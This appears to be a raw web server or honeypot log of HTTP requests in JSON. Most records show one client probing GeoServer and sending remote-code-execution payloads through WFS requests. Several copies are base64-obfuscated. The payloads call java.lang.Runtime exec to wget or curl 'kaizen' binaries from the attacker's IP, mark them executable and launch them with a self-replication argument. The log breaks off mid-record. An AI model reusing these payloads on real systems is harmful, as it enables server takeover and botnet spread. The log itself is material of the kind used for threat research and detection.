[
{
"ts": "2026-08-30T10:45:08.793974+00:00",
"method": "GET",
"path": "/log",
"client_ip": "127.0.0.1",
"client_port": 46450,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "158.69.55.82",
"X-Forwarded-For": "158.69.55.82",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T10:50:48.466675+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 40210,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "91.230.168.242",
"X-Forwarded-For": "91.230.168.242",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T10:51:34.717312+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 40966,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "23.21.37.211",
"X-Forwarded-For": "23.21.37.211",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Accept": "application/json, text/plain, */*",
"User-Agent": "axios/1.16.1",
"Accept-Encoding": "gzip, compress, deflate, br"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:19.882534+00:00",
"method": "GET",
"path": "/geoserver/web/",
"client_ip": "127.0.0.1",
"client_port": 53610,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:21.362590+00:00",
"method": "GET",
"path": "/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0",
"client_ip": "127.0.0.1",
"client_port": 53622,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:22.122891+00:00",
"method": "GET",
"path": "/geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities",
"client_ip": "127.0.0.1",
"client_port": 53634,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:22.933629+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 53646,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1092",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1092
},
{
"ts": "2026-08-30T11:03:23.682437+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 53662,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:24.551599+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 54960,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "918",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 918
},
{
"ts": "2026-08-30T11:03:25.395898+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 54974,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:03:26.192284+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:bugsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 54982,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:26.878052+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 54998,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:03:27.803772+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55010,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:03:28.818206+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 55020,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:29.924285+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55028,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:03:31.076685+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55034,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1099",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1099
},
{
"ts": "2026-08-30T11:03:32.628886+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:tasmania_roads&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 55048,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:33.478734+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55062,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "925",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 925
},
{
"ts": "2026-08-30T11:03:34.162127+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49936,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1090",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1090
},
{
"ts": "2026-08-30T11:03:34.938106+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite:Lakes&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 49946,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:03:35.674067+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49948,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "916",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
